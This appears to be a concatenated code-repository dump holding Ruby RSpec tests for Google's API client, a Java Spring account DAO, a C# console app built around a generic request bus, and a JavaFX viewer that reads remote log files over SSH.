(headers.inject({}) { |h,(k,v)| h[k]=v; h }).should == {}
body.should respond_to(:each)
end
it 'should generate requests against the correct URIs' do
request = @client.generate_request(
:'prediction.training.insert',
{'query' => '12345'}
)
method, uri, headers, body = request
uri.should ==
'https://www.googleapis.com/prediction/v1/training?query=12345'
end
it 'should generate requests against the correct URIs' do
prediction = @client.discovered_service('prediction', 'v1')
request = @client.generate_request(
prediction.training.insert,
{'query' => '12345'}
)
method, uri, headers, body = request
uri.should ==
'https://www.googleapis.com/prediction/v1/training?query=12345'
end
it 'should allow modification to the base URIs for testing purposes' do
prediction = @client.discovered_service('prediction', 'v1')
prediction.base = 'https://testing-domain.googleapis.com/prediction/v1/'
request = @client.generate_request(
prediction.training.insert,
{'query' => '123'}
)
method, uri, headers, body = request
uri.should ==
'https://testing-domain.googleapis.com/prediction/v1/training?query=123'
end
it 'should generate signed requests' do
@client.authorization = :oauth_1
@client.authorization.token_credential_key = '12345'
@client.authorization.token_credential_secret = '12345'
request = @client.generate_request(
'prediction.training.insert',
{'query' => '12345'}
)
method, uri, headers, body = request
headers = headers.inject({}) { |h,(k,v)| h[k]=v; h }
headers.keys.should include('Authorization')
headers['Authorization'].should =~ /^OAuth/
end
it 'should not be able to execute improperly authorized requests' do
@client.authorization = :oauth_1
@client.authorization.token_credential_key = '12345'
@client.authorization.token_credential_secret = '12345'
response = @client.execute(
'prediction.training.insert',
{'query' => '12345'}
)
status, headers, body = response
status.should == 401
end
it 'should raise an error for bogus methods' do
(lambda do
@client.generate_request(42)
end).should raise_error(TypeError)
end
it 'should raise an error for bogus methods' do
(lambda do
@client.generate_request(@client.discovered_service('prediction'))
end).should raise_error(TypeError)
end
end
describe Google::APIClient, 'configured for the buzz API' do
before do
@client = Google::APIClient.new(:service => 'buzz')
end
it 'should correctly determine the discovery URI' do
@client.discovery_uri.should ===
'http://www.googleapis.com/discovery/0.1/describe?api=buzz'
end
it 'should find APIs that are in the discovery document' do
@client.discovered_service('buzz').name.should == 'buzz'
@client.discovered_service('buzz').version.should == 'v1'
end
it 'should not find APIs that are not in the discovery document' do
@client.discovered_service('bogus').should == nil
end
it 'should find methods that are in the discovery document' do
# TODO(bobaman) Fix this when the RPC names are correct
@client.discovered_method('chili.activities.list').name.should == 'list'
end
it 'should not find methods that are not in the discovery document' do
@client.discovered_method('buzz.bogus').should == nil
end
it 'should generate requests against the correct URIs' do
# TODO(bobaman) Fix this when the RPC names are correct
request = @client.generate_request(
'chili.activities.list',
{'userId' => 'hikingfan', 'scope' => '@public'},
'',
[],
{:signed => false}
)
method, uri, headers, body = request
uri.should ==
'https://www.googleapis.com/buzz/v1/activities/hikingfan/@public'
end
it 'should correctly validate parameters' do
# TODO(bobaman) Fix this when the RPC names are correct
(lambda do
@client.generate_request(
'chili.activities.list',
{'alt' => 'json'},
'',
[],
{:signed => false}
)
end).should raise_error(ArgumentError)
end
it 'should correctly validate parameters' do
# TODO(bobaman) Fix this when the RPC names are correct
(lambda do
@client.generate_request(
'chili.activities.list',
{'userId' => 'hikingfan', 'scope' => '@bogus'},
'',
[],
{:signed => false}
)
end).should raise_error(ArgumentError)
end
it 'should be able to execute requests without authorization' do
# TODO(bobaman) Fix this when the RPC names are correct
response = @client.execute(
'chili.activities.list',
{'alt' => 'json', 'userId' => 'hikingfan', 'scope' => '@public'},
'',
[],
{:signed => false}
)
status, headers, body = response
status.should == 200
end
end
describe Google::APIClient, 'configured for the latitude API' do
before do
@client = Google::APIClient.new(:service => 'latitude')
end
it 'should correctly determine the discovery URI' do
@client.discovery_uri.should ===
'http://www.googleapis.com/discovery/0.1/describe?api=latitude'
end
it 'should find APIs that are in the discovery document' do
@client.discovered_service('latitude').name.should == 'latitude'
@client.discovered_service('latitude').version.should == 'v1'
end
it 'should not find APIs that are not in the discovery document' do
@client.discovered_service('bogus').should == nil
end
it 'should find methods that are in the discovery document' do
@client.discovered_method('latitude.currentLocation.get').name.should ==
'get'
end
it 'should not find methods that are not in the discovery document' do
@client.discovered_method('latitude.bogus').should == nil
end
it 'should generate requests against the correct URIs' do
request = @client.generate_request(
'latitude.currentLocation.get',
{},
'',
[],
{:signed => false}
)
method, uri, headers, body = request
uri.should ==
'https://www.googleapis.com/latitude/v1/currentLocation'
end
it 'should not be able to execute requests without authorization' do
response = @client.execute(
'latitude.currentLocation.get',
{},
'',
[],
{:signed => false}
)
status, headers, body = response
status.should == 401
end
end
describe Google::APIClient, 'configured for the moderator API' do
before do
@client = Google::APIClient.new(:service => 'moderator')
end
it 'should correctly determine the discovery URI' do
@client.discovery_uri.should ===
'http://www.googleapis.com/discovery/0.1/describe?api=moderator'
end
it 'should find APIs that are in the discovery document' do
@client.discovered_service('moderator').name.should == 'moderator'
@client.discovered_service('moderator').version.should == 'v1'
end
it 'should not find APIs that are not in the discovery document' do
@client.discovered_service('bogus').should == nil
end
it 'should find methods that are in the discovery document' do
@client.discovered_method('moderator.profiles.get').name.should ==
'get'
end
it 'should not find methods that are not in the discovery document' do
@client.discovered_method('moderator.bogus').should == nil
end
it 'should generate requests against the correct URIs' do
request = @client.generate_request(
'moderator.profiles.get',
{},
'',
[],
{:signed => false}
)
method, uri, headers, body = request
uri.should ==
'https://www.googleapis.com/moderator/v1/profiles/@me'
end
it 'should not be able to execute requests without authorization' do
response = @client.execute(
'moderator.profiles.get',
{},
'',
[],
{:signed => false}
)
status, headers, body = response
status.should == 401
end
end
| 00a4fb30e3efd7e86af994a5fdf23acdcbc6630e | [
"Ruby"
] | 5 | Ruby | jeroenvandijk/google-api-ruby-client | 76fe65a650d2fe8737956942edf8e6dea5da896a | c6ba084df029f0122e36ee957869a8e41d0b9903 |
refs/heads/master | <repo_name>zamakhovav/YellowQuacklingProductionWeb<file_sep>/src/main/java/jbr/dao/UserDaoImplementation.java
package jbr.dao;
import jbr.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.stereotype.Service;
import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
@Service("userService")
public class UserDaoImplementation implements UserDao{
@Autowired
DataSource datasource;
@Autowired
JdbcTemplate jdbcTemplate;
public void register(User user) {
String sql = "insert into Account (username, pwd) values(?,?)";
jdbcTemplate.update(sql, new Object[] { user.getUsername(), user.getPassword() });
}
public DataSource getDatasource() {
return datasource;
}
public void setDatasource(DataSource datasource) {
this.datasource = datasource;
}
class UserMapper implements RowMapper<User> {
public User mapRow(ResultSet rs, int arg1) throws SQLException {
User user = new User();
user.setUsername(rs.getString("username"));
user.setPassword(rs.getString("<PASSWORD>"));
user.setPasswordRepeat(rs.getString("<PASSWORD>"));
return user;
}
}
}
<file_sep>/src/main/resources/jbr/database/database.sql
CREATE DATABASE IF NOT EXISTS sql11225282;
USE sql11225282;
DROP TABLE IF EXISTS `sql11225282`.`Account`;
<file_sep>/src/main/java/jbr/service/UserServiceImplementation.java
package jbr.service;
import jbr.dao.UserDao;
import jbr.model.User;
import org.springframework.beans.factory.annotation.Autowired;
public class UserServiceImplementation implements UserService {
@Autowired
public UserDao userDao;
public void register(User user) {
userDao.register(user);
}
}
| f528226ca18bf54f614850f6d7571eb51f2622b8 | [
"Java",
"SQL"
] | 3 | Java | zamakhovav/YellowQuacklingProductionWeb | 3f39a01668fad15e5623564aecfd9ac131cd9460 | f564bec48cc2cbc76e4b11a40a9ef0f02a853322 |
refs/heads/master | <file_sep>package com.ftninformatika.termin18;
import android.app.NotificationManager;
import android.content.Context;
import android.content.Intent;
import android.support.design.widget.Snackbar;
import android.support.v4.app.NotificationCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
public static final int NOTIFICATION_ID = 1;
Button btnToast;
Button btnSnack;
Button btnNotification;
Button btnSettings;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
btnToast = findViewById(R.id.toast);
btnSnack = findViewById(R.id.snackbar);
btnNotification = findViewById(R.id.notification);
btnSettings = findViewById(R.id.Settings);
btnToast.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Toast.makeText(MainActivity.this, "Ovo je Toast", Toast.LENGTH_SHORT).show();
}
});
btnSnack.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Snackbar.make(findViewById(R.id.parent), "Ovo je Snackbar", Snackbar.LENGTH_SHORT).show();
}
});
btnNotification.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
notification();
}
});
btnSettings.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent (MainActivity.this, PrefActivity.class);
startActivity(intent);
}
});
}
private void notification(){
NotificationCompat.Builder builder = new NotificationCompat.Builder(getApplicationContext());
builder.setContentTitle("Title");
builder.setContentText("Notification text");
builder.setSmallIcon(R.drawable.ic_stat_buy);
NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
manager.notify(NOTIFICATION_ID, builder.build());
}
}
| 603ad252bdd2ad33f31f011d077a566965c73bd5 | [
"Java"
] | 1 | Java | ihatesun/Termin18 | 6743771ef0146b349faf84b60ff1a5a7416e0996 | 709521db86f6be4506956d5fc8a0fdf77a199743 |
refs/heads/main | <file_sep>using System;
using iQuest.TheUniverse.Application.AddStar;
namespace iQuest.TheUniverse.Presentation
{
internal class StarDetailsProvider : IStarDetailsProvider
{
private const string DefaultGalaxyName = "Milky Way";
public string GetGalaxyName()
{
Console.WriteLine();
Console.Write("Galaxy name (" + DefaultGalaxyName + "): ");
string galaxyName = Console.ReadLine();
return string.IsNullOrWhiteSpace(galaxyName)
? DefaultGalaxyName
: galaxyName;
}
public string GetStarName()
{
string starName;
do
{
Console.WriteLine();
Console.Write("Star name: ");
starName = Console.ReadLine();
} while (string.IsNullOrWhiteSpace(starName));
return starName;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
namespace iQuest.TheUniverse.Domain
{
public class Universe
{
private static Universe instance;
public static Universe Instance
{
get
{
if (instance == null)
instance = new Universe();
return instance;
}
}
private readonly HashSet<Galaxy> galaxies = new HashSet<Galaxy>();
public bool AddGalaxy(string galaxyName)
{
if (galaxyName == null) throw new ArgumentNullException(nameof(galaxyName));
bool galaxyExists = galaxies.Any(x => x.Name == galaxyName);
if (galaxyExists)
return false;
Galaxy galaxy = new Galaxy(galaxyName);
return galaxies.Add(galaxy);
}
public bool AddStar(string starName, string galaxyName)
{
Galaxy galaxy = galaxies.FirstOrDefault(x => x.Name == galaxyName);
if (galaxy == null)
throw new Exception($"Galaxy '{galaxyName}' does not exist.");
return galaxy.AddStar(starName);
}
public IEnumerable<Galaxy> EnumerateGalaxies()
{
return galaxies;
}
}
}<file_sep>namespace iQuest.TheUniverse.Application.AddGalaxy
{
public interface IGalaxyDetailsProvider
{
string GetGalaxyName();
}
}<file_sep>using System;
namespace iQuest.TheUniverse
{
internal class Program
{
private static void Main(string[] args)
{
try
{
Bootstrapper bootstrapper = new Bootstrapper();
bootstrapper.Run();
}
catch (Exception ex)
{
DisplayError(ex);
Pause();
}
}
private static void DisplayError(Exception exception)
{
ConsoleColor oldColor = Console.ForegroundColor;
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(exception);
Console.ForegroundColor = oldColor;
}
private static void Pause()
{
Console.WriteLine();
Console.Write("Press any key to continue...");
Console.ReadKey(true);
Console.WriteLine();
}
}
}<file_sep>namespace iQuest.TheUniverse.Application.AddGalaxy
{
public class AddGalaxyRequest
{
public IGalaxyDetailsProvider GalaxyDetailsProvider { get; set; }
}
}<file_sep>using System;
using System.Linq;
namespace iQuest.TheUniverse.Infrastructure
{
internal static class TypeExtensions
{
public static bool ImplementsInterface(this Type type, Type implementedInterface)
{
if (implementedInterface.IsGenericType)
{
return type.GetInterfaces()
.Where(x => x.IsGenericType)
.Select(x => x.GetGenericTypeDefinition())
.Contains(implementedInterface);
}
else
{
return implementedInterface.IsAssignableFrom(type);
}
}
}
}<file_sep>namespace iQuest.TheUniverse.Application.GetAllStars
{
public class GetAllStarsRequest
{
}
}<file_sep>namespace iQuest.TheUniverse.Application.AddStar
{
public class AddStarRequest
{
public IStarDetailsProvider StarDetailsProvider { get; set; }
}
}<file_sep>using System;
using iQuest.TheUniverse.Application.AddGalaxy;
using iQuest.TheUniverse.Infrastructure;
namespace iQuest.TheUniverse.Presentation.Commands
{
internal class AddGalaxyCommand
{
private readonly RequestBus requestBus;
public AddGalaxyCommand(RequestBus requestBus)
{
this.requestBus = requestBus ?? throw new ArgumentNullException(nameof(requestBus));
}
public void Execute()
{
AddGalaxyRequest addGalaxyRequest = new AddGalaxyRequest
{
GalaxyDetailsProvider = new GalaxyDetailsProvider()
};
bool success = requestBus.Send<AddGalaxyRequest, bool>(addGalaxyRequest);
if (success)
DisplaySuccessMessage();
else
DisplayFailureMessage();
}
private static void DisplaySuccessMessage()
{
Console.WriteLine();
ConsoleColor oldColor = Console.ForegroundColor;
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("The galaxy was successfully created.");
Console.ForegroundColor = oldColor;
}
private static void DisplayFailureMessage()
{
Console.WriteLine();
ConsoleColor oldColor = Console.ForegroundColor;
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Failed to create the galaxy. The galaxy already exists.");
Console.ForegroundColor = oldColor;
}
}
}<file_sep>using System;
using System.Collections.Generic;
namespace iQuest.TheUniverse.Domain
{
public class Galaxy
{
private readonly HashSet<string> stars = new HashSet<string>();
public string Name { get; }
public Galaxy(string name)
{
Name = name ?? throw new ArgumentNullException(nameof(name));
}
public bool AddStar(string name)
{
if (name == null) throw new ArgumentNullException(nameof(name));
return stars.Add(name);
}
public IEnumerable<string> EnumerateStars()
{
return stars;
}
}
}<file_sep>using System;
using iQuest.TheUniverse.Application.AddStar;
using iQuest.TheUniverse.Infrastructure;
namespace iQuest.TheUniverse.Presentation.Commands
{
internal class AddStarCommand
{
private readonly RequestBus requestBus;
public AddStarCommand(RequestBus requestBus)
{
this.requestBus = requestBus ?? throw new ArgumentNullException(nameof(requestBus));
}
public void Execute()
{
AddStarRequest addStarRequest = new AddStarRequest
{
StarDetailsProvider = new StarDetailsProvider()
};
bool success = requestBus.Send<AddStarRequest,bool>(addStarRequest);
if (success)
DisplaySuccessMessage();
else
DisplayFailureMessage();
}
private static void DisplaySuccessMessage()
{
Console.WriteLine();
ConsoleColor oldColor = Console.ForegroundColor;
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("The star was successfully created.");
Console.ForegroundColor = oldColor;
}
private static void DisplayFailureMessage()
{
Console.WriteLine();
ConsoleColor oldColor = Console.ForegroundColor;
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Failed to create the star. The star already exists.");
Console.ForegroundColor = oldColor;
}
}
}<file_sep>using System;
using System.Collections.Generic;
namespace iQuest.TheUniverse.Infrastructure
{
public class RequestBus
{
public void RegisterHandler<TRequest, TResponse, THandler>() where THandler : IRequestHandler<TRequest, TResponse>, new()
{
if (HandlerFactory<TRequest, TResponse>.CreateHandler != null)
throw new InvalidOperationException("Request handler for TRequest and TResponse is already registered.");
HandlerFactory<TRequest, TResponse>.CreateHandler = () => new THandler();
}
public TResponse Send<TRequest,TResponse>(TRequest request)
{
if (request == null) throw new ArgumentNullException(nameof(request));
if (HandlerFactory<TRequest, TResponse>.CreateHandler == null)
throw new InvalidOperationException("Request handler for the TRequest and TResponse is not registered.");
IRequestHandler<TRequest, TResponse> requestHandler = HandlerFactory<TRequest, TResponse>.CreateHandler();
return requestHandler.Execute(request);
}
private static class HandlerFactory<TRequest, TResponse>
{
public static Func<IRequestHandler<TRequest, TResponse>> CreateHandler { get; set; }
}
}
}<file_sep>namespace iQuest.TheUniverse.Infrastructure
{
public interface IRequestHandler<TRequest, TResponse>
{
TResponse Execute(TRequest request);
}
}<file_sep>using System;
namespace iQuest.TheUniverse.Presentation
{
public class ApplicationHeader
{
public void Display()
{
Console.WriteLine("GenericsExercise");
Console.WriteLine(new string('=', 79));
Console.WriteLine();
DisplayHelp();
}
private static void DisplayHelp()
{
Console.WriteLine("add-galaxy - Add a new galaxy to the universe.");
Console.WriteLine("add-star - Add a new star to an existing galaxy.");
Console.WriteLine("display-stars - Show all the stars existing in the current universe.");
Console.WriteLine("exit - Exits the application.");
}
}
}<file_sep>namespace iQuest.TheUniverse.Application.AddStar
{
public interface IStarDetailsProvider
{
string GetGalaxyName();
string GetStarName();
}
}<file_sep>using System;
using iQuest.TheUniverse.Domain;
using iQuest.TheUniverse.Infrastructure;
namespace iQuest.TheUniverse.Application.AddStar
{
public class AddStarRequestHandler : IRequestHandler<AddStarRequest, bool>
{
public bool Execute(AddStarRequest request)
{
if (request == null)
{
throw new ArgumentNullException(nameof(request));
}
string starName = request.StarDetailsProvider.GetStarName();
string galaxyName = request.StarDetailsProvider.GetGalaxyName();
return Universe.Instance.AddStar(starName, galaxyName);
}
}
}<file_sep>using iQuest.TheUniverse.Application.AddGalaxy;
using iQuest.TheUniverse.Application.AddStar;
using iQuest.TheUniverse.Application.GetAllStars;
using iQuest.TheUniverse.Infrastructure;
using iQuest.TheUniverse.Presentation;
using System.Collections.Generic;
namespace iQuest.TheUniverse
{
internal class Bootstrapper
{
private static RequestBus requestBus;
public void Run()
{
requestBus = new RequestBus();
ConfigureRequestBus();
DisplayApplicationHeader();
RunUserCommandProcessLoop();
}
private static void ConfigureRequestBus()
{
requestBus.RegisterHandler<AddStarRequest, bool ,AddStarRequestHandler>();
requestBus.RegisterHandler<AddGalaxyRequest, bool, AddGalaxyRequestHandler>();
requestBus.RegisterHandler<GetAllStarsRequest,List<StarInfo>,GetAllStarsRequestHandler>();
}
private static void DisplayApplicationHeader()
{
ApplicationHeader applicationHeader = new ApplicationHeader();
applicationHeader.Display();
}
private static void RunUserCommandProcessLoop()
{
Prompter prompter = new Prompter(requestBus);
prompter.ProcessUserInput();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using iQuest.TheUniverse.Application.GetAllStars;
using iQuest.TheUniverse.Infrastructure;
namespace iQuest.TheUniverse.Presentation.Commands
{
internal class DisplayAllStarsCommand
{
private readonly RequestBus requestBus;
public DisplayAllStarsCommand(RequestBus requestBus)
{
this.requestBus = requestBus ?? throw new ArgumentNullException(nameof(requestBus));
}
public void Execute()
{
GetAllStarsRequest request = new GetAllStarsRequest();
List<StarInfo> starInfos = requestBus.Send<GetAllStarsRequest, List<StarInfo>>(request);
DisplayStars(starInfos);
}
private static void DisplayStars(IEnumerable<StarInfo> starInfos)
{
Console.WriteLine();
Console.WriteLine("The stars in this universe:");
foreach (StarInfo starInfo in starInfos)
Console.WriteLine($"Star '{starInfo.StarName}' from galaxy '{starInfo.GalaxyName}'.");
}
}
}<file_sep>using System;
using iQuest.TheUniverse.Infrastructure;
using iQuest.TheUniverse.Presentation.Commands;
namespace iQuest.TheUniverse.Presentation
{
public class Prompter
{
private readonly RequestBus requestBus;
private bool exitWasRequested;
public Prompter(RequestBus requestBus)
{
this.requestBus = requestBus ?? throw new ArgumentNullException(nameof(requestBus));
}
public void ProcessUserInput()
{
exitWasRequested = false;
while (!exitWasRequested)
{
try
{
string command = ReadCommandFromConsole();
ProcessCommand(command);
}
catch (Exception ex)
{
DisplayError(ex);
}
}
}
private static string ReadCommandFromConsole()
{
Console.WriteLine();
Console.Write("Universe> ");
return Console.ReadLine();
}
private void ProcessCommand(string command)
{
switch (command)
{
case "add-galaxy":
AddGalaxyCommand command1 = new AddGalaxyCommand(requestBus);
command1.Execute();
break;
case "add-star":
AddStarCommand command2 = new AddStarCommand(requestBus);
command2.Execute();
break;
case "display-stars":
DisplayAllStarsCommand command3 = new DisplayAllStarsCommand(requestBus);
command3.Execute();
break;
case "exit":
case "kill":
case "collapse":
exitWasRequested = true;
break;
default:
throw new Exception("Invalid command.");
}
}
private static void DisplayError(Exception exception)
{
ConsoleColor oldColor = Console.ForegroundColor;
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine(exception);
Console.ForegroundColor = oldColor;
}
}
}<file_sep>namespace iQuest.TheUniverse.Application.GetAllStars
{
public class StarInfo
{
public string GalaxyName { get; set; }
public string StarName { get; set; }
}
}<file_sep>using System;
using iQuest.TheUniverse.Application.AddGalaxy;
namespace iQuest.TheUniverse.Presentation
{
internal class GalaxyDetailsProvider : IGalaxyDetailsProvider
{
private const string DefaultGalaxyName = "Milky Way";
public string GetGalaxyName()
{
Console.WriteLine();
Console.Write("Galaxy name (" + DefaultGalaxyName + "): ");
string galaxyName = Console.ReadLine();
return string.IsNullOrWhiteSpace(galaxyName)
? DefaultGalaxyName
: galaxyName;
}
}
}<file_sep># The Universe
## Application Overview
"The Universe" is a console application that creates a universe containing galaxies and stars.
There are three commands that the user can use:
- **add-galaxy** - Adds a new galaxy to the universe.
- **add-star** - Adds a new star to an existing galaxy.
- **display-stars** - Shows all the stars existing in the current universe.
## The Problem
The application was implemented a long time ago, in the age when C# did not have generics.
Today, we looked at the code and discovered that some unnecessary boxing/unboxing occur when the `RequestBus` is used:
- The `Send` method has a parameter of type object as request and returns an object as response.
- The request handlers also use the object type for the request and response instances.
We need you to improve the implementation by using generics and update the usage of the `RequestBus` in the application.
## Application Internals
### Commands
Each command from the user is translated by the presentation layer into a request and sent to the business layer.
Between these two layers there is a middleman that intermediates the communication. This middleman is called the `RequesBus`. (see the Infrastructure project)
### Request Bus
The `RequestBus` keeps internally a list of request/request-handler pairs.
When the `RequestBus` receives a request, it searches for the appropriate request handler to execute.
### List of Projects
The Visual Studio solution contains the following projects:
- **Domain** (Business) – It contains the domain entities (`Universe`, `Galaxy`).
- **Application** (Business) – It contains the use case implementations: the requests and the associated request handlers.
- **Infrastructure** – It contains the implementation of the `RequestBus`.
- **Presentation** – It contains the loop that reads commands from the Console, executes the use cases, and displays the results.
- **main project** – It contains the application's setup (`Bootstrapper`).
The architecture diagram:

## Hints
Even if this application is quite big and has allot of code, do not panic, you are not required to understand it all.
Your work must be focused on improving the `RequestBus` implementation. Start from the `RequestBus.Send()` method and investigate where is it used.
It is expected you will need to work in the following projects:
- **Infrastructure** - The `RequestBus` class is there.
- **Application** - Update the request classes and the associated handlers to use generics.
- **Presentation** (command classes) - Update the calls to those requests.<file_sep>using System.Collections.Generic;
using iQuest.TheUniverse.Domain;
using iQuest.TheUniverse.Infrastructure;
namespace iQuest.TheUniverse.Application.GetAllStars
{
public class GetAllStarsRequestHandler : IRequestHandler<GetAllStarsRequest, List<StarInfo>>
{
public List<StarInfo> Execute(GetAllStarsRequest request)
{
List<StarInfo> starsInfo = new List<StarInfo>();
IEnumerable<Galaxy> galaxies = Universe.Instance.EnumerateGalaxies();
foreach (Galaxy galaxy in galaxies)
{
IEnumerable<string> stars = galaxy.EnumerateStars();
foreach (string star in stars)
{
StarInfo starInfo = new StarInfo
{
GalaxyName = galaxy.Name,
StarName = star
};
starsInfo.Add(starInfo);
}
}
return starsInfo;
}
}
}<file_sep>using System;
using iQuest.TheUniverse.Domain;
using iQuest.TheUniverse.Infrastructure;
namespace iQuest.TheUniverse.Application.AddGalaxy
{
public class AddGalaxyRequestHandler : IRequestHandler<AddGalaxyRequest, bool>
{
public bool Execute(AddGalaxyRequest request)
{
if (request == null)
throw new ArgumentNullException(nameof(request));
if (request is AddGalaxyRequest addGalaxyRequest)
{
string galaxyName = addGalaxyRequest.GalaxyDetailsProvider.GetGalaxyName();
return Universe.Instance.AddGalaxy(galaxyName);
}
throw new ArgumentException($"The request must be of type {request.GetType().FullName}.", nameof(request));
}
}
} | 9c737538e4483d5c4eb39c01735a7bc92f36fc97 | [
"Markdown",
"C#"
] | 24 | C# | GiuraEmanuel/Generics | ea05631cd2a1da3e1045f7060325ffb79a656045 | a589856f4ab928135e8e13d3efdd504aaa3d46bc |
refs/heads/master | <repo_name>dhaliwaljee/myBLogger<file_sep>/src/main/java/org/kdhaliwal/benevity/views/MainView.java
package org.kdhaliwal.benevity.views;
import java.awt.Button;
import java.util.ArrayList;
import java.util.List;
import org.kdhaliwal.benevity.utility.Config;
import org.kdhaliwal.benevity.utility.VirtualMachine;
import javafx.application.Application;
import javafx.application.Platform;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Tab;
import javafx.scene.control.TabPane;
import javafx.scene.layout.HBox;
import javafx.stage.Stage;
public class MainView extends Application{
@Override
public void start(Stage primaryStage) throws Exception {
Platform.setImplicitExit(true);
String workingDir = System.getProperty("user.dir");
System.out.println("Current working directory : " + workingDir);
FXMLLoader loader = new FXMLLoader();
Parent root = FXMLLoader.load(getClass().getResource("MainView.fxml"));
MainViewController controller = loader.getController();
Scene scene = new Scene(root);
// primaryStage.setFullScreen(true);
primaryStage.setScene(scene);
primaryStage.show();
}
public static void run(){
launch();
}
}
<file_sep>/src/main/java/org/kdhaliwal/benevity/views/MainViewController.java
package org.kdhaliwal.benevity.views;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.ResourceBundle;
import java.util.function.Predicate;
import org.kdhaliwal.benevity.utility.Config;
import org.kdhaliwal.benevity.utility.LogFiles;
import org.kdhaliwal.benevity.utility.VirtualMachine;
import com.jcraft.jsch.ChannelExec;
import com.jcraft.jsch.JSch;
import com.jcraft.jsch.JSchException;
import com.jcraft.jsch.Session;
import javafx.beans.property.SimpleStringProperty;
import javafx.beans.property.StringProperty;
import javafx.collections.FXCollections;
import javafx.collections.transformation.FilteredList;
import javafx.fxml.FXML;
import javafx.fxml.Initializable;
import javafx.geometry.Insets;
import javafx.geometry.Side;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.ButtonBar;
import javafx.scene.control.Label;
import javafx.scene.control.ListCell;
import javafx.scene.control.ListView;
import javafx.scene.control.Tab;
import javafx.scene.control.TabPane;
import javafx.scene.control.TextField;
import javafx.scene.layout.AnchorPane;
import javafx.scene.layout.VBox;
import javafx.scene.text.Text;
import javafx.scene.text.TextBuilder;
import javafx.stage.Stage;
import javafx.stage.StageStyle;
import javafx.util.Callback;
import javafx.collections.FXCollections;
public class MainViewController implements Initializable {
@FXML
TabPane mainTabPane;
private Config config;
// initialize block
{
try {
config = Config.create();
} catch (IOException e) {
e.printStackTrace();
}
}
public void initialize(URL location, ResourceBundle resources) {
// Add Main Tabs in Main TabPane
try {
for (Tab tab : getParentTabs()) {
mainTabPane.getTabs().add(tab);
}
// for zooming by touchpad
mainTabPane.setOnZoom(e -> {
mainTabPane.setScaleX(mainTabPane.getScaleX() * e.getZoomFactor());
mainTabPane.setScaleY(mainTabPane.getScaleY() * e.getZoomFactor());
});
} catch (Exception e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
private List<Tab> getParentTabs() throws Exception {
List<Tab> list = new ArrayList<Tab>();
List<TabPane> subTabPane = getSubTabPanes();
int count = 0;
for (VirtualMachine vm : config.getVm().values()) {
Tab tab = new Tab(vm.getName());
tab.setText(vm.getName());
tab.setContent(subTabPane.get(count++));
list.add(tab);
}
return list;
}
/*
* Inside TabPanes that contains ListView
*/
private List<TabPane> getSubTabPanes() throws Exception {
List<TabPane> list = new ArrayList<TabPane>();
for (VirtualMachine vm : config.getVm().values()) {
TabPane pane = new TabPane();
for (LogFiles files : vm.getLogFiles()) {
// System.out.println(files.getName()+" = "+files.getUrl());
Tab tab = new Tab();
tab.setGraphic(new Label(files.getName()));
tab.getGraphic().setStyle("-fx-text-fill: gray");
// Adding controls to application(log viewer)
ListView<String> logView = new ListView<String>();
ButtonBar buttonBar = new ButtonBar();
// Clear Button
Button clearButton = new Button("Clear");
clearButton.setOnAction(e -> {
logView.setItems(FXCollections.observableArrayList());
});
// Refresh Button
Button refreshButton = new Button("Refresh");
refreshButton.setOnAction(e -> {
logView.refresh();
});
// Exit Application Button
Button exitButton = new Button("Exit Application");
exitButton.setOnAction(e -> {
Stage stage = (Stage) this.mainTabPane.getScene().getWindow();
stage.close();
System.exit(0);
});
TextField text = new TextField();
text.setPromptText("Search");
/*text.setOnAction(e -> {
logView.getItems();
System.out.println(logView.getAccessibleText());
});*/
FilteredList<String> data = new FilteredList<>(logView.getItems());
text.textProperty().addListener(e -> {
String filter = text.getText();
if( filter == null || filter.length() == 0){
data.setPredicate(s -> true);
}else{
//it will display only searched values
data.setPredicate(s -> s.toLowerCase().contains(filter.toLowerCase()));
logView.setItems(data);
logView.refresh();
}
});
buttonBar.getButtons().addAll(text, clearButton, refreshButton, exitButton);
AnchorPane anchorPane = new AnchorPane();
AnchorPane.setBottomAnchor(logView, 0.0);
AnchorPane.setTopAnchor(logView, 30.0);
AnchorPane.setRightAnchor(logView, 0.0);
AnchorPane.setLeftAnchor(logView, 0.0);
AnchorPane.setRightAnchor(buttonBar, 1.0);
AnchorPane.setLeftAnchor(buttonBar, 1.0);
AnchorPane.setTopAnchor(buttonBar, 1.0);
anchorPane.getChildren().addAll(buttonBar, logView);
tab.setContent(anchorPane);
// Creating Remote Connection
JSch jsch = new JSch();
Session session = jsch.getSession(vm.getUserName(), vm.getIp());
jsch.setKnownHosts(config.getKnownHostsFile());
jsch.addIdentity(config.getIdentityFile());
session.setPassword("<PASSWORD>");
// System.out.println(session.getTimeout());
try {
session.connect(config.getTimeout() * 1000);
System.out.println("Session = " + session.isConnected());
// reading log files
read(logView, files.getUrl(), session);
pane.getTabs().add(tab);
} catch (JSchException ex) {
String message = String.format("\nConnection with [%s]: %s is not established. ", vm.getName(),
vm.getIp());
